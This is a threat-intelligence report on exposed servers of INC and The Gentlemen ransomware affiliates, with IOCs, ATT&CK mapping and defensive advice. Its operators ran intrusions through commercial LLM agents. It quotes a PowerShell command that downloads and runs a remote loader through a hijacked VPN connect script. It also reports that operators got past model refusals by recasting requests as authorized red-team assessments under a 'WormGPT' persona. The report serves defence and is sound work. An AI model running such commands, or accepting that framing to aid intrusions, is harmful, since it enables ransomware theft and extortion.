

INC and The Gentlemen Ransomware: Exposed AI Infrastructure

By ST SOCRadar Threat Research Unit (STRU)

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SOCRadar Threat Research Unit (STRU) has uncovered an AI-driven intrusion ecosystem run by affiliates of the **INC Ransomware** and **The Gentlemen Ransomware** groups. A single publicly accessible command-and-control server exposed the operators' AI session databases, their central knowledge base and the source code of **Phantom**, a new "Autonomous Red Team Kill Chain Framework". Configuration files, logs and credentials inside that server led STRU to six more exposed adversary-controlled servers.


The operators exploited edge and remote-access systems at scale, including FortiClient EMS, SimpleHelp, cPanel and VPN gateways. They used AI-managed knowledge bases to track victims, stolen credentials and campaign progress. The servers also held 46 custom [INC](#) encryptor builds staged for an October 1, 2026 deployment, evidence of a live victim encryption, and a branded extortion package for a case listed by [The Gentlemen](#).

The campaign came to light in late September 2026 after OPSEC failures left the operators' source code, credentials and AI session logs exposed. Their recorded AI spending exceeds \$23,000.

This post summarizes the findings, TTPs and IOCs; the complete technical analysis is available in the [full whitepaper](#).

Key Takeaways

- **AI is the operational core:** Operators ran intrusions through OpenCode with OpenRouter-hosted commercial models, logging 8,257 messages across 133 sessions; recorded AI API spending exceeds \$23,920
- **Ransomware deployment wave staged:** 46 INC encryptor binaries were built for six victims and packed for an October 1, 2026 deployment; a September 30 SimpleHelp screenshot shows live encryption on a victim workstation
- **Edge devices exploited at scale (per operator records):** FortiClient EMS (CVE-2026-35616, 2,236 targets, 108 created admins, 4,140 managed endpoints), SimpleHelp (CVE-2024-57727, 242 unique IP addresses impacted) and cPanel (CVE-2026-41940, 49+ claimed breaches)
- **Custom arsenal exposed:** The Phantom framework, WormGPT-labelled MCP servers, Ghost C2, RevSocks, a Quick Heal/Seqrite BYOVD killer and exfiltration tooling were recovered in source and binary form
- **Victimology:** 62 named organizations, 36 of them in the United States, led by industrial/manufacturing (16.1%) and healthcare (14.5%)




At a Glance

Attribute	Details
Actors	Affiliates operating with INC Ransomware (MITRE G1032, GOLD IONIC) and The Gentlemen Ransomware
Discovery	Late September 2026, through exposed open directories on adversary servers
Infrastructure	Seven exposed servers, heavily hosted on AS267784 (Flyservers S.A.)
AI stack	OpenCode, OpenRouter (anthropic/claude-opus-4.6, moonshotai/kimi-k3), WormGPT persona prompts and MCP servers, persistent knowledge base
Custom tooling	Phantom, Ghost C2, RevSocks, QuickLine (Athena/Mythic), Quick Heal/Seqrite killer, rks3, BackupConsole/BackupAgent
Exploited CVEs	CVE-2026-35616, CVE-2024-57727, CVE-2026-41940 (actively exploited per operator records); more attempted or developed
Payloads	46 INC encryptor builds for six victims; The Gentlemen extortion and vishing package
Victims	62 named organizations; 36 in the United States
Operator profile	Russian-speaking, active mainly 06:00 to 14:00 UTC

How the Infrastructure Was Discovered


The investigation began with an exposed command-and-control server at **45.227.254[.]43**, whose open directories held the operators' knowledge base, AI session logs and the Phantom source code. Configuration files, logs and credentials on this host led STRU to six more adversary servers, most hosted on AS267784 (Flyservers S.A.).



Ecosystem overview

Server	Role
45.227.254[.]43	Initial AI node: knowledge base, OpenCode history, Phantom source and per-victim workspaces
45.227.254[.]45	Development and deployment hub: partner package, C2 builds and case data
45.227.254[.]84	Operator workstation: Windows VM, SimpleHelp console and staged INC encryptors
179.60.149[.]68	Staging and network pivot node
89.185.83[.]8	Ghost C2 and credential harvesting tooling
138.124.113[.]210	Ghost C2 control panel
77.110.109[.]248	RevSocks reverse SOCKS5 host


The operation timeline spans from Ghost C2 activity in mid-July to live encryption on September 30, 2026.



Operation timeline

AI as the Co-Operator

STRU assesses with high confidence that the ecosystem’s defining trait is an AI-executed, human-approved operating structure. The human operator directs and approves, while the AI stack (OpenCode as the interface, OpenRouter-hosted models, the Phantom skill library and a persistent knowledge base) plans reconnaissance, selects techniques, generates commands, triages stolen data and drafts reports.



Tooling overview

STRU analyzed 8,257 messages across 133 OpenCode sessions alongside three knowledge base iterations:

- **Human approval loop:** Each campaign started with a victim-specific master prompt, and the AI waited for the operator’s approval before every step under the directive “coordinate every action with me”
- **Commercial models, not uncensored ones:** The models were standard commercial LLMs; “WormGPT” was only a persona prompt. When models refused, the operator rewrote requests as “Authorized Red Team Assessment Request” templates instead of switching models
- **Operator profile:** Russian-speaking operators, most active between 06:00 and 14:00 UTC, who used the AI for stealth decisions, tool debugging and OPSEC
- **Funding:** A live check on October 5, 2026 found two active, paid OpenRouter accounts, one of them nearly exhausted after \$23,920 in spending

```
--- OpenRouter API keys ---
sk-or-v1-d75c7****9e0b : ACTIVE - used 20741 / 20742 Credits
sk-or-v1-cef07****13cd : ACTIVE - used 3179.05 / 3420 Credits
sk-or-v1-05bbb****d507 : NOT ACTIVE
sk-or-v1-81e7b****63f9 : NOT ACTIVE
sk-or-v1-afe42****9b9a : NOT ACTIVE
sk-or-v1-d6ba2****4713 : NOT ACTIVE
```

OpenRouter API key usage by the threat actors at the time of observation

This reliance on AI memory became the operation's weakness: the knowledge bases and session logs form a complete evidence trail of the campaign.

Modus Operandi

Initial Access Through Edge Devices

The operators gained initial access by exploiting public-facing edge devices at scale, then moved laterally and escalated toward [ransomware](#) deployment, a methodology that aligns with tactics frequently observed in INC Ransomware intrusions, including the FortiBleed campaign previously analyzed by STRU. According to operator records, which are not independently verified:

- **FortiClient EMS (CVE-2026-35616):** 2,236 targets, 108 created admin accounts and 4,140 managed endpoints; the operators planted backdoor admins and pushed payloads to endpoints through modified VPN connection scripts
- **SimpleHelp (CVE-2024-57727):** Scans of 4,922 servers yielded 427 admin passwords, with 242 unique IP addresses impacted; stolen MSP technician credentials opened access to every client those technicians managed
- **cPanel (CVE-2026-41940):** 49+ claimed breaches of small hosting providers, used as a springboard to the email and webmail servers they host
- **Other gateways:** Ivanti, Citrix, SonicWall and OpenVPN devices were also evaluated, with three recorded compromises

```
Command: powershell -nop -w hidden -ep bypass -c "IEX(New-Object
Net.WebClient).DownloadString('https://api.system-
strategy.org/assets/js/analytics.js')"
```

This was injected into FortiClient EMS VPN profile 'BT_VPN_ACCESS' (id=34) on server [REDACTED] via the 'on_connect' field. Pushed to 17 endpoints (BTC-LT-*/BTC-DT-*) using reregister + vuln_scan commands. Auto-executes when VPN connects. Credentials used: sysadmin / Ad[REDACTED]c

FortiClient claim chain record in the knowledge base

```
Used FOFA API (key: 1fc[REDACTED]41) to discover 22,832 SimpleHelp servers. Exploited 4,922 unique targets using CVE-2024-57727 path traversal. Results: 930 configs downloaded, 427 passwords recovered (242 unique IPs). 98% of scanned servers vulnerable. Created comprehensive target list with working credentials in format: URL | SimpleHelpAdmin | Password. Used SOCKS5 proxy through 194.165.16.21 to reach filtered targets.
```

FOFA scan results and exploitation records in the knowledge base

CVE	Target	Status
CVE-2024-57727	SimpleHelp path traversal	Actively exploited at scale (operator-reported counts)
CVE-2026-35616	FortiClient EMS auth bypass	Actively exploited (operator-reported counts)
CVE-2026-41940	cPanel/WHM auth bypass	Actively exploited (operator-reported counts)
CVE-2020-1472 (ZeroLogon)	Windows Netlogon	Attempted
CVE-2026-0300	PAN-OS User-ID auth portal BoF (0-day)	Attempted; delivery without confirmed code execution
CVE-2021-1675 (PrintNightmare)	Windows Print Spooler	Attempted, failed
CVE-2025-59718	FortiGate SAML SSO bypass	Attempted, failed
CVE-2024-49112 (LDAPNightmare)	Windows LDAP	Attempted; not exploitable in the operator's setup
CVE-2023-27532	Veeam Backup Service	Not used (operator-reported counts)
CVE-2021-42278/42287 (noPac)	Windows AD	Attempted, failed
CVE-2026-41089	Windows Netlogon (NetpLogonPutUnicodeString)	Developed and lab-tested; victim use not established
CVE-2026-15409	SonicWall SMA1000	Staged for targeting; no confirmed compromise

CVE	Target	Status
CVE-2026-63030	WordPress (wp2shell)	Developed; use not established
CVE-2025-62215	agentgenerator target	Developed; use not established
CVE-2026-42208 / CVE-2026-9082	LiteLLM SQLi / Drupal SQLi	Developed or referenced; use not established
CVE-2025-66568 / CVE-2025-66567	SAML XML-parser bypass (XSW)	Referenced

Inside the Victim Network


Once inside, the operators followed a recurring lifecycle: enumerate the domain, escalate to domain admin where possible, harvest credentials with stealer tooling, prioritize finance, HR, legal and executive files, and collect them over reverse-SOCKS tunnels. Credential reuse was the main force multiplier; in one case, a single reused password unlocked the VPN, servers, RMM, backup and security management platforms at once. Security products were impaired with a BYOVD killer and loader-level evasion, although the operators' own logs record mixed results against enterprise EDRs.

The Operator Arsenal

The exposed servers held the operators' custom tooling in source and binary form:

- **Phantom:** A modular "Autonomous Red Team Kill Chain Framework" with 18 skill modules, an autopilot and its own agents, which disguise themselves as Windows Update components
- **WormGPT-MCP:** 32 MCP servers connecting the AI to tooling from reconnaissance to extortion, including a ransom-ops server with negotiation and pricing tools
- **Ghost C2:** Three generations of polymorphic implants communicating over HTTPS through Cloudflare, Telegram or DNS
- **RevSocks:** A reverse SOCKS5 framework used to pivot inside victim networks and stage exfiltration
- **Supporting tools:** A Cloudflare-fronted Mythic agent (QuickLine), a Quick Heal/Seqrite killer abusing the Zemana driver, and the rks3 and BackupAgent exfiltration tools


A separate delivery service supports [phishing](#) through malicious Word templates and HTML smuggling, persisting through a scheduled task named RealtekAudioSvc; its only recorded campaign was an internal self-test.



Phantom agent lifecycle


INC Ransomware Deployment

INC Ransomware is a Rust-based RaaS tracked since August 2023 ([G1032](#)). The operators prepared 46 INC encryptor builds for six victims, each personalized with its own key and victim identifier, covering Windows and Linux. The Windows encryptor stops backup and database processes and services, deletes shadow copies through direct driver calls instead of vssadmin, appends the .INC extension and drops INC-README.txt notes that point victims to a Tor chat portal.




Binaries prepared for victims with their names in directories (“P” files)

Three per-victim packages were packed on September 30, 2026 for a deployment wave on October 1, and crew chat confirms the timing (“tomorrow at 6 Moscow time, right?”). Deployment against these targets is unconfirmed, but a SimpleHelp screenshot from September 30 shows the encryptor running on a victim workstation.




Rocket.Chat messages between operators, screenshot taken by OpenCode



SimpleHelp screenshot taken from a victim environment by the operator


The Extortion Playbook

AI-authored extortion records reveal a data-centric playbook that prefers data extortion over encryption. The operators estimate what a victim can pay from its own stolen financials, map compliance and customer data for leverage, send masked proof samples, and open with text-only emails to owners or executives without a price. Pressure then escalates through scripted vishing calls, customers and partners, regulators and finally publication, with 24 to 72 hour deadlines. Payment was planned in Monero, but no wallet or payment record was recovered.



Timeline of the cases

- **Aidon:** A EUR 15M demand was cut to EUR 4M/2.5M after the operator realized it had targeted the wrong parent company; the firm later appeared on INC’s leak site, though the link to this contact is not established
- **Leo Schachter Diamonds:** A four-message extortion set signed “The Gentlemen” with a vishing plan; the victim is listed on The Gentlemen’s leak blog
- **Trulite Glass & Aluminum Solutions:** A look-alike site, trulitesupport[.]com, warned the victim’s customers of the breach to pressure the company, linking to its INC leak post
- **Healthcare network:** A 24-hour deadline with a AUD 3M to 8M price band



Customer-facing extortion page “Security Incident Notice” on trulitesupport[.]com

Attribution and Operating Model

Evidence ties the infrastructure to both brands. For **The Gentlemen Ransomware**, the Leo Schachter Diamonds case contains full group branding, a four-stage extortion progression and a vishing outline. For **INC Ransomware**, the link goes beyond branding: 46 custom encryptors decrypt the INC ransom note, three INC leak site victims (Aidon, Trulite and City of Princeton, TX) match internal case files, and chat logs from an onion INC administration panel and Rocket.Chat list the packages staged for October 1.


The operators also used FOFA API accounts tied to smilefacesec[.]gmail[.]com for scanning. Cross-referencing this address with the SOCRadar Threat Hunting module shows it was used to register a BreachForums account under the username “sm411st123”.

A partner onboarding guide (README_PARTNER.md) on 45.227.254[.]45 describes handing Phantom, OpenCode, the knowledge base and WormGPT-[MCP servers](#) to external operators, advertising “35 MCP servers”, “55+ tools” and “9K+ CVE PoC”.

STRU assesses with high confidence that the hosts served as an active intrusion-development and operational workbench, with Phantom functioning as an operator-centric framework. Confidence in a formal dual-brand alliance is low, while confidence in a shared operational environment used by operators across both groups is moderate-to-high. The most plausible structure is a dedicated tooling and infrastructure provider supporting various partners across the ransomware ecosystem.


Victimology

STRU graded 62 named organizations by the depth of observed activity: 4 publicly listed for extortion (L5), 4 at the encryption or extortion stage (L4), 14 with domain-level compromise (L3), 28 with a foothold or access (L2) and 12 at reconnaissance only (L1). The United States accounts for 36 of the 62.




Geographic distribution of victims

By sector, industrial, manufacturing and energy organizations lead (16.1%), followed by healthcare and pharma (14.5%). Among 35 classifiable targets, 27 had revenues of \$250M or less and 8 exceeded \$250M, with small businesses reached through a managed service provider alongside larger organizations compromised through independent vectors.



Sector distribution of victims



Revenue distribution of victims

Recommendations

- Patch FortiClient EMS, Fortinet and SonicWall gateways, remove internet access to management interfaces, and review EMS for unauthorized admins or modified VPN connection scripts

- Harden MSP and RMM environments with MFA, IP allowlists and dedicated admin accounts, and require the same controls from third-party MSPs
- Inventory remote-access tools such as SimpleHelp, MeshCentral and N-central, patch them, restrict their use and block unauthorized software
- Patch Zerologon, retire Windows Server 2008 R2 domain controllers, deploy LAPS and gMSAs, enforce admin tiering and audit replication permissions and AAD Connect accounts
- Protect backups with immutable or air-gapped storage and isolate and patch Veeam consoles
- Enable EDR tamper protection, enforce vulnerable driver blocklists and alert on security service deletion or interruption
- Monitor outbound transfers to cloud storage and limit tools such as restic or rclone to authorized endpoints
- Block remote Office template loading and HTML smuggling, and train staff to recognize vishing
- Prepare data extortion response with retained IR services, legal and notification templates, and monitoring of [typosquatting](#) domains and leak sites
- Isolate hypervisors, ESXi hosts and central file servers from user networks

Detection and Hunting

- **EMS and gateway anomalies:** New privileged EMS accounts (sysadmin, fct_svc_*, ems_monitor_*), VPN profile changes, missing audit logs and forged client-certificate headers
- **Initial access and staging:** Office downloading remote .dotm templates, script-styled URLs serving PowerShell, curl or certutil spawned by Office or browsers, and a scheduled task named RealtekAudioSvc
- **C2 and tunneling:** RevSocks, Chisel or Ligolo traffic patterns, Python beacons with TLS verification disabled, mTLS panel URIs and DNS queries to the listed domains
- **AD and credential abuse:** Replication requests from non-DC hosts, reads of shadow-copied ntds.dit, spikes in RC4 Kerberos service tickets and Netlogon secure channel anomalies
- **Lateral movement:** Unauthorized RMM agents, scripts or remote sessions outside change windows, and Remote Registry started just before RDP is enabled
- **Defense impairment:** Zemana driver loads paired with Quick Heal/Seqrite service termination or file deletion
- **Exfiltration:** restic or rclone execution, large archives and bulk uploads to external object storage
- **Encryption:** Restart Manager sessions from non-installer processes, \\.\X: volume opens followed by IOCTL 0x53C028, mass renames to .INC and INC-README.txt files
- **Brand misuse:** Look-alike domains hosting notification pages that point customers to extortion blogs

For the full technical breakdown, including tooling internals, the encryptor analysis and extended IOCs, [download the complete **whitepaper**](#).

MITRE ATT&CK Mapping

Tactic	Technique	Procedure
Reconnaissance	T1595.002 Vulnerability Scanning	FOFA-style lists of EMS, SimpleHelp, mail and VPN hosts

Tactic	Technique	Procedure
Reconnaissance	T1591 Gather Victim Org Information	OSINT dossiers on revenue, ownership and leverage
Resource Development	T1583.001 Domains	Look-alike customer-notice and delivery domains
Resource Development	T1587.001 Malware	Phantom, Ghost, loaders and security-tool killer, built with AI assistance
Resource Development	T1588.002 Tool	Mythic/Athena, Sliver, Ligolo-ng, Chisel, NetExec, BloodHound
Initial Access	T1190 Exploit Public-Facing Application	FortiClient EMS, SimpleHelp, cPanel and mail-server exploits
Initial Access	T1133 External Remote Services	FortiVPN and SonicWall NetExtender access
Initial Access	T1078 Valid Accounts	Captured or reused domain and VPN credentials
Initial Access	T1566.001 Spearphishing Attachment	Template-injection .dotm and LNK-in-ZIP lures
Initial Access	T1566.004 Spearphishing Voice	Vishing scripts for calls to victim staff
Execution	T1059.001 PowerShell	Stage-two loader and persistence variants
Execution	T1059.006 Python	svc.py implant and PyInstaller/Nuitka agents
Execution	T1204.002 Malicious File	Lure document or LNK launches stage one
Execution	T1072 Software Deployment Tools	N-central panel pushes encryptor builds to endpoints
Persistence	T1136 Create Account	EMS backdoor super-admin and a created domain-admin account
Persistence	T1053.005 Scheduled Task	RealtekAudioSvc task for svc.py
Defense Impairment	T1685 Disable or Modify Tools	Quick Heal/Seqrite killer with Zemana driver

Tactic	Technique	Procedure
Defense Impairment	T1070.006 Timestamp	INC quiet mode restores last-write times
Defense Evasion	T1036 Masquerading	Realtek, Windows Update and WUServiceHost names on implants
Defense Evasion	T1027.006 HTML Smuggling	Invoice page builds a LNK-in-ZIP blob in the browser
Credential Access	T1003.006 DCSync	DCSync-format account output for one victim
Credential Access	T1003.003 NTDS	Shadow-copy ntds.dit dumps in several cases
Credential Access	T1558.003 Kerberoasting	Service-ticket extraction in several domains
Credential Access	T1555.003 Credentials from Web Browsers	Stealer output with thousands of browser entries
Credential Access	T1056.002 GUI Input Capture	Fake lock screen captures the user password
Credential Access	T1110 Brute Force	RDP, SSH, cPanel and OWA spraying
Discovery	T1087.002 Domain Account	LDAP and BloodHound collection
Discovery	T1135 Network Share Discovery	SMB share and file-tree listings
Discovery	T1083 File and Directory Discovery	Encryptor traversal with FindFirstFileW/FindNextFileW
Discovery	T1057 Process Discovery	Toolhelp snapshot behind the encryptor proc option
Lateral Movement	T1021.002 SMB/Windows Admin Shares	NetExec admin-success relations
Lateral Movement	T1021.001 Remote Desktop Protocol	RDP enabled through Remote Registry
Lateral Movement	T1210 Exploitation of Remote Services	ZeroLogon against two domain controllers

Tactic	Technique	Procedure
Collection	T1074.001 Local Data Staging	SQL and mail proof builders; staged exports
Collection	T1114.001 Local Email Collection	4,481 EML files in the luxury-goods case
Collection	T1005 Data from Local System	Finance, HR and legal file selection lists
Command and Control	T1071.001 Web Protocols	Ghost, Phantom and Athena HTTPS configurations
Command and Control	T1090 Proxy	Reverse-proxy templates, Worker relay, SOCKS5
Command and Control	T1572 Protocol Tunneling	Ligolo, Chisel and RevSocks tunnels
Command and Control	T1219 Remote Access Software	SimpleHelp, MeshCentral and N-central agents
Command and Control	T1105 Ingress Tool Transfer	curl/certutil retrieval of stage-two payloads
Exfiltration	T1567.002 Exfiltration to Cloud Storage	Restic uploads to object storage
Impact	T1486 Data Encrypted for Impact	INC builds; one victim screenshot shows live encryption
Impact	T1489 Service Stop	serv option stops services by mask
Impact	T1490 Inhibit System Recovery	Shadow-copy removal through IOCTL 0x0053C028
Impact	T1657 Financial Theft	Extortion letters, pricing and customer notice pages

Indicators of Compromise (IOCs)

For the extended IOC list, visit the [SOCRadAr platform](#).

Type	Indicator	Note
IP	45.227.254[.]43	OpenCode / KB /

Type	Indicator	Note
		Phantom
IP	179.60.149[.]68	Staging / pivot
IP	45.227.254[.]45	Build and deployment hub
IP	45.227.254[.]84	Kali / VM host
IP	77.110.109[.]248	RevSocks host
IP	89.185.83[.]8	Ghost / delivery
IP	138.124.113[.]210	Ghost panel
Domain	system-strategy[.]org	Ghost / Phantom redirector zone
Domain	iquickline[.]com	Phantom / Athena C2 zone
Domain	mcgrawney[.]com	Phantom redirector zone
Domain	driverupdate[.]app	Retired C2 zone
Domain	stackpathcloud[.]com	Retired C2 zone
Domain	cloud-update[.]live	MeshCentral C2 front
Domain	bossprotect[.]com	Mail / phishing domain

Type	Indicator	Note
Domain	trulitesupport[.]com	Look-alike customer-notice page
Domain	incblog[.]su	INC leak-site mirror (note)
Onion	incpaykabjqc2mtdxq6c23nqh4x6m5dkps5fr6vgdkgzp5njssx6qkid[.]onion	INC payment portal (note)
Onion	incblog6qu4y4mm4zvw5nrmue6qbwgtgjsxpwb6b7ixzssu36tsajldoad[.]onion	INC leak site (note)
Onion	incblog4uttkxd6b4grii6k2qcj2tn5k37seep5xto3dlghyqla7u7qd[.]onion	INC site snapshot
Onion	incadmd42ytmp4hwkejirji4m6pcbacazoeic7fc5sd27nr7it5ajyqd[.]onion	INC dashboard / chat (VM screenshot)
Onion	z26qmezqaixjp3k6spvdpool4us6m3ei453f7wgl7gouojmp2ttkdgad[.]onion	Legacy Rocket.Chat hidden service
URL / path	/assets/js/analytics.js	Disguised loader path
SHA-256	ffca6aa96572743200f9f0040a3e435766f6d7c15d6a4c72045a0cbb4db72eb4	INC build A
SHA-256	0ae4447d755593ee1931170d4187a07a29bf0690179acc39b7400a4c65cd07c5	INC build B
SHA-256	14b711bd51096796ac6b38c30e3cced197831092956a4c6ff8d1f5ebb4432212	INC build C
SHA-256	ec4ba1d570601eaa1474ab7cfffafcff218a717e44e8d2d22ed0573676b0463e	INC kit 1, Windows
SHA-256	ca02f60942a43d8f8b973baa3231df1f8c26328750baa2ed8d4cf07335084ebb	INC kit 2, Windows

Type	Indicator	Note
SHA-256	ffd47c59a9960a293002c4fff481f613892599191356589eb7b6950ef7465918	INC kit 3, Windows
SHA-256	70f28e18e7f4083cd542e6bff6b2682f3876c5ef4bcf4323aa22a6d03d4a8a82	INC kit 1, Linux
SHA-256	7ad718a530a2913f775e62c656060af79ffde5c1f2c04138bcc068142f162a20	INC kit 2, Linux
SHA-256	4286e7035096d002a0f90aca19b93504d7c69354cf0c76eb8b3c93bae2b7885a	INC kit 3, Linux

Frequently Asked Questions

What did SOCRadar uncover about INC and The Gentlemen ransomware affiliates?

SOCRadar Threat Research Unit uncovered seven exposed adversary-controlled servers used by affiliates operating with [INC Ransomware](#) and The Gentlemen Ransomware. The servers held AI session databases, a central knowledge base, the Phantom framework, C2 tooling, 46 INC encryptor builds and a branded extortion package for a case listed by The Gentlemen.

How did the attackers use AI in their operations?

The operators ran intrusions through OpenCode with commercial models hosted on OpenRouter, using a “WormGPT” persona prompt and MCP servers. The AI planned reconnaissance, generated commands, triaged data and drafted extortion material, while a human operator approved each step. When models refused, the operator rewrote requests as authorized red team assessments instead of switching models.

Which vulnerabilities did the INC and The Gentlemen affiliates exploit?

Operator records show active exploitation of FortiClient EMS (CVE-2026-35616), SimpleHelp (CVE-2024-57727) and cPanel/WHM (CVE-2026-41940), plus follow-on use of the Roundcube flaw CVE-2025-49113. ZeroLogon, PrintNightmare, noPac, a PAN-OS User-ID flaw and a FortiGate SAML bypass were attempted, and several other CVEs were developed or staged.

What is the Phantom framework?

Phantom is a modular “Autonomous Red Team Kill Chain Framework” built by the operators, with 18 SKILL modules, a routing engine, an autopilot orchestrator and Python and Go agents. It integrates with OpenCode so the AI can select techniques and task remote agents. Its agent masquerades as Windows Update components and calls back to `api.iquickline[.]com`.

Is The Gentlemen Ransomware allied with INC Ransomware?


STRU rates confidence in a formal dual-brand alliance as low. Confidence that operators of both groups used a shared operational environment is moderate-to-high, and the most plausible structure is a dedicated tooling and infrastructure provider supporting several ransomware partners.

Which organizations were targeted?

The records name 62 organizations, 36 of them in the United States, with industrial, manufacturing and energy (16.1%) and healthcare and pharma (14.5%) the most targeted sectors. Four organizations reached public extortion listings and 14 suffered domain-level compromise.

Is patching edge devices enough to defend against these affiliates?

Patching FortiClient EMS, SimpleHelp, cPanel and VPN gateways closes the main entry points, but the operators also relied on stolen and reused credentials and on access already planted in EMS and RMM tools. Defenders should also hunt for rogue EMS admins and modified VPN on_connect scripts, rotate credentials, enforce MFA on RMM and VPN access and protect backups.



Source: <https://socradar.io/blog/inc-gentlemen-ransomware-ai-infrastructure/>